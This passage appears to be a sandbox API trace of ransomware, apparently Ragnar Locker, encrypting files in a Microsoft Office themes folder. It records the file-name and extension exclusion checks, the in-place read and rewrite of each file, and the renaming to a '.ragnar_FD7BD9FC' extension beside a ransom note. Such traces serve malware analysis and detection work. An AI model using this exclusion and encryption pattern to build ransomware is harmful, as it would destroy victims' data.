shared\\themes14\\level\\level.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.705] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0074.705] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0074.705] lstrcpyW (in: lpString1=0x1eab6c, lpString2="LEVEL.INF" | out: lpString1="LEVEL.INF") returned="LEVEL.INF" [0074.705] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF") returned=".INF" [0074.705] lstrcmpiW (lpString1="LEVEL.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.705] lstrcmpiW (lpString1="LEVEL.INF", lpString2="autorun.inf") returned 1 [0074.705] lstrcmpiW (lpString1="LEVEL.INF", lpString2="boot.ini") returned 1 [0074.705] lstrcmpiW (lpString1="LEVEL.INF", lpString2="bootfont.bin") returned 1 [0074.705] lstrcmpiW (lpString1="LEVEL.INF", lpString2="bootsect.bak") returned 1 [0074.705] lstrcmpiW (lpString1="LEVEL.INF", lpString2="bootmgr") returned 1 [0074.705] lstrcmpiW (lpString1="LEVEL.INF", lpString2="bootmgr.efi") returned 1 [0074.705] lstrcmpiW (lpString1="LEVEL.INF", lpString2="bootmgfw.efi") returned 1 [0074.705] lstrcmpiW (lpString1="LEVEL.INF", lpString2="desktop.ini") returned 1 [0074.705] lstrcmpiW (lpString1="LEVEL.INF", lpString2="iconcache.db") returned 1 [0074.705] lstrcmpiW (lpString1="LEVEL.INF", lpString2="ntldr") returned -1 [0074.705] lstrcmpiW (lpString1="LEVEL.INF", lpString2="ntuser.dat") returned -1 [0074.705] lstrcmpiW (lpString1="LEVEL.INF", lpString2="ntuser.dat.log") returned -1 [0074.705] lstrcmpiW (lpString1="LEVEL.INF", lpString2="ntuser.ini") returned -1 [0074.705] lstrcmpiW (lpString1="LEVEL.INF", lpString2="thumbs.db") returned -1 [0074.705] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0074.705] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0074.705] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0074.705] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0074.705] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0074.705] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0074.705] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0074.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf")) returned 0x20 [0074.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0074.706] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=526) returned 1 [0074.706] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x205, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.706] GetProcessHeap () returned 0x580000 [0074.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.706] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.707] VirtualAlloc (lpAddress=0x0, dwSize=0x20e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.707] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.707] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.707] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x20e, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x20e, lpOverlapped=0x0) returned 1 [0074.707] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.707] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20e, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.707] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x20e, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x20e, lpOverlapped=0x0) returned 1 [0074.707] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.707] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.707] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x20e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.708] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.708] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.708] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.708] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.708] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.708] GetProcessHeap () returned 0x580000 [0074.708] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.708] CloseHandle (hObject=0x100) returned 1 [0074.708] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" [0074.708] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF.ragnar_FD7BD9FC" [0074.708] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.709] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0074.709] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0074.709] lstrcpyW (in: lpString1=0x1eab6c, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0074.709] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned=".GIF" [0074.709] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.709] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0074.709] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0074.709] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0074.709] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0074.709] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0074.709] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0074.709] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0074.709] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0074.709] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0074.709] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0074.709] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0074.709] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0074.709] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0074.709] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0074.709] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0074.709] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0074.709] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0074.709] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0074.709] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0074.709] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0074.709] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0074.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0074.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0074.713] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1379) returned 1 [0074.713] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x55a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.713] GetProcessHeap () returned 0x580000 [0074.713] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.713] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.715] VirtualAlloc (lpAddress=0x0, dwSize=0x563, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.715] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.715] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.715] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x563, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x563, lpOverlapped=0x0) returned 1 [0074.715] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.715] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x563, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.716] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x563, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x563, lpOverlapped=0x0) returned 1 [0074.716] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x563, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.716] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.716] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x563, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.716] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.716] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.716] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.716] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.716] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.716] GetProcessHeap () returned 0x580000 [0074.716] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.717] CloseHandle (hObject=0x100) returned 1 [0074.717] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" [0074.717] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.ragnar_FD7BD9FC" [0074.717] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.717] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ec355c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ec355c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0074.717] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0074.717] lstrcpyW (in: lpString1=0x1eab6c, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0074.717] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\RGNR_FD7BD9FC.txt") returned=".txt" [0074.717] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0074.717] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0074.717] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0074.717] lstrcpyW (in: lpString1=0x1eab6c, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0074.717] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned=".PNG" [0074.717] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0074.717] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0074.718] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0074.718] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0074.718] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0074.718] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0074.718] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0074.718] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0074.718] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0074.718] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0074.718] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0074.718] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0074.718] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0074.718] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0074.718] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0074.718] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0074.718] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0074.718] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0074.718] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0074.718] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0074.718] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0074.718] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0074.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0074.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0074.718] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=48115) returned 1 [0074.719] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xbbea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.719] GetProcessHeap () returned 0x580000 [0074.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.719] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.720] VirtualAlloc (lpAddress=0x0, dwSize=0xbbf3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.720] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.720] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.720] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbbf3, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xbbf3, lpOverlapped=0x0) returned 1 [0074.722] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.722] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbbf3, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.722] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbbf3, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xbbf3, lpOverlapped=0x0) returned 1 [0074.722] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbbf3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.722] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.723] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xbbf3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.723] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.723] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.723] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.723] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.723] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.723] GetProcessHeap () returned 0x580000 [0074.723] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.723] CloseHandle (hObject=0x100) returned 1 [0074.723] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program 